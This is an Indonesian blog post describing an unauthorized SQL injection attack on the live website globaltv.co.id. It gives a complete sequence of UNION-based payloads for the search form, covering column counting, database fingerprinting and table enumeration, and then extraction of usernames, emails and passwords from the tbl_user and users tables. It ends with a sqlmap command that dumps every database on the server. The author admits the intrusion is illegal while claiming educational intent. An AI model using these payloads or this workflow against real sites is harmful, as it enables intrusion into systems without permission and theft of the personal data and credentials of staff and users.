Mohon maaf sebelumnya, saya sudah mencoba menghubungi pihak technical dari globaltv tapi belum ada respon, saya tidak bermaksud untuk merusak apalai pamer skill(saya tidak bisa apa-apa, hanya seorang script kiddies), Bug ini ditemukan oleh seorang member devilzc0de.org, saya lupa nicknya, kemudian saya tertarik untuk mencoba melakukan penetrasi ke situs http://www.globaltv.co.id
situs ini terkena SQL injection pada banyak bagian (Error Based), situs ini menggunakan framework Codeigniter versi x (tidak tau), sama halnya seperti bug sql injection yang terjadi pada situs telkomsel yang pernah saya publish sebelumnya, Jika sebuah situs menggunakan framework Codeigniter, sedikit sulit untuk melakukan exploitasi melalui URL, karena Codeiginiter di lengkapi dengan filter-filter yang cukup tangguh untuk menghalangi jenis serangan ini, tetapi mungkin sang creator kelupaan untuk menggunakan fitur-fitur tersebut
Dari sekian banyak bug yang ada (sqli), saya memilih menggunakan bagian pencarian, karena metode dari pencarian menggunakan method POST bukan GET atau melalui form bukan di bawa melalui URL, dengan begitu filterisasi wildcard di URL bisa di bypass karena variable di bawa melalui form
Seperti biasa, untuk mnguji SQL injection bug , saya menggunakan singel quota (') atau %27 dalam url encode, ternyata globaltv(form search) menampilkan query error yang sangat rentan (informasi error based), karena jenis bug sqli merupakan error based saya mencoba menggunakan metode UNION based
a%') and 1=1#
a%') and 1=0
Sql yang terjadi secara kasar pada proses pencarian di globaltv menggunakan operator like '%$keyword'% jadi mungkin sederhanya seperti berikut
Select from bla where keyword like '%$keyword%' AND .....
Jika kita menginjectnya menggunakan metode POST, kita memberikan SQL injection di bagian form search, dan berusaha membyapass bagian akhir dari perintah query, jika perintah query seperti sebelumnya, maka kita menjadikan query seperti berikut
Select from bla where keyword like '%a%') and 1=0
Dengan begitu perintah SQL di belakang tanda # tidak akan di proses, kemudian kita melakukan order by untuk mencari jumlah kolom yang bisa kita inject, dengan menggunkan perintah order by di ikuti oleh jumlah kolom yang akan kita proses hingga kita mendapatkan kondisi TRUE (tidak error), seperti berikut
a%') and 1=0 order by 20# -> FALSE
a%') and 1=0 order by 19
Dengan demikian kita tau bahwa jumlah kolom yang bisa kita inject berada di antara 1 - 19, kemudian kita memberikan perintah UNION SELECT untuk mencari kolom mana yang bisa kita inject, dengan perintah UNION SELECT akan menghasilkan sebuah angka (nomor kolom) yang bisa kita sisipi dengan perintah sql lainnya (multiple SQL Statment), seperti berikut
a%') and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
Dan Hasilnya Seperti berikut
Setelah kita menemukan Nomor kolom yang bisa di inject langkah selanjutnya adalah mencari tau informasi global, seperti username server, nama current database, dan versi dari mysql database, dengan memberikan perintah berikut
a%') and 1=0 union select 1,version(),3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
Dan Hasilnya
Setelah mendapatkan informasi global seperti user(), version(), dan database(), langkah selanjutnya yaitu mencari nama-nama tabel yang ada dalam database tersebut, selain perintah user(), version(), dan database() masih banyak lagi perintah yang bisa kita gunakana untuk mencari tau informasi tentang server target
a%') and 1=0 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=database()#
Dengan memberikan perintah tersebut akan mengeluarkan semua tabel yang ada dalam database server, group_concat merupakan sebuah fungsi (sintak) dalam mysql agar hasilnya dalam bentuk group (mungkin :D), selain group_concat bisa menggunakan concat_ws atau yang laiinya, berikut hasil dari code di atas
Setelah memperhatikan nama-nama tabel di atas, ada 3 buah tabel yang menurut saya paling kritik, seperti member, users dan tbl_user, untuk itu saya memilih tbl_user, karena tabel itu kemungkinan menyimpan username dan password sang admin, untuk membaca isi dari tabel user terlebih dahulu kita harus mencari tau nama field (kolom) yang ada dalam tbl_user tersebut,dengan menggunakan perintah
a%') and 1=0 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name=unhex(hex(tbl_user))#
Perintah tersebut akan menghasilkan nama-nama field(kolom) yang ada dalam tbl_suer, seperti berikut
Setelah mendapatkan nama-nama kolomnya, kini kita mencari tau isi dari kolom-kolom tersebut, pasti isinya menampilkan username dan password :D, dengan menggunakan perintah berikut
a%') and 1=0 union select 1,2,3,group_concat(username,0x3a,useremail,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from tbl_user#
Fungsi dari 0x3a merupakan bentuk hexa dari titik dua (:) maksudnya untuk membedakan tiap-tiap data yang muncul, hasilnya seperti berikut
Untuk mencoba selain tbl_user, saya mencoba tabel dengan nama users, karena menurut saya ini juga sangat riskan, caranya sama seperti di atas, menggunakan perintah yang sama, hanya saja nama tabel yang diganti menjadi users, seperti berikut
a%') and 1=0 union select 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from information_schema.columns where table_name=unhex(hex(users))#
berikut screen shoot tampilan hasil dari scirp tersebut untuk tabel users
dan untuk membaca isi tabel tersebut kita harus mencari tau nama-nama fieldnya (kolom), dengan perintah yang juga sama dengan perintah sebelumnya
a%') and 1=0 union select 1,2,3,group_concat(user_username,0x3a,user_email,0x3a,user_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from users#
Dan berikut hasilnya
Dengan cara di atas pun sudah cukup berbahaya bukan ? kita bisa membaca data yang sangat rahasia sifatnya (username, email, password) bahkan banyak email dan no telpon dari petugas, pelamar kerja dan lain sebagainya dalam situs globaltv tersebut, biasanya attacker tidak akan berhenti sampai disini (maaf saya tidak bisa memberitaukan halaman login admin :D), tetapi saya akan memberitaukan bagaimana mengambil semua isi database dari server globaltv.co.id (ini ilegal, jadi harap jangan di tiru)
Untuk meng-dump (meng-export) semua isi database server, bisa dengan cara manual, tetapi juga bisa dengan cara otomatis(dengan tools), jika kita menggunakan manual tentu saja sedikti repot karena banyaknya tabel dan kolom yang harus kita cari terlebih dahulu, tetapi dengan menggunakan SQLmap kita bisa melakukanny hanya dengan beberapa baris perintah, seperti berikut perintah sqlmap pada console
python sqlmap.py -f -b --current-db --current-user --password --dbs --tables --dump-all --data "keyword='" -u http:
Dengan perintah tersebut sqlmap akan melakukan semua untuk kita, dan akan meng-extract seluruh isi database, jika database lebih dari satu makan tidak terkecuali, semua database akan di extract, berikut hasil dari penggunaan tools sqlmap pada globaltv.co.id
Saya juga mendokumentasikan aksi ujicoba penetrasi ini dalam bentuk video, nanti akan saya upload ke youtube sebagai media pembelajaarn terhadap aksi nyata (bukan merusak)
Ini videonya, silahkan di download
Nonton / Download video
Saya mempublish ini bertujuan untuk pembelajaran semata, bukan untuk merusak apalagi apmer skill, sekali lagi saya mohon maaf untuk pihak globaltv.co.id, pesan saya silahkan perbaiki security website anda, saya tidak melakukan pengrusakan apalagi menyebarkan informasi member yang ada pada situs anda
Thanks for Reading
source :
http://khairu.net/index.php/page/artikel/23/SQL_injection_di_globaltv.co.id__Exsposed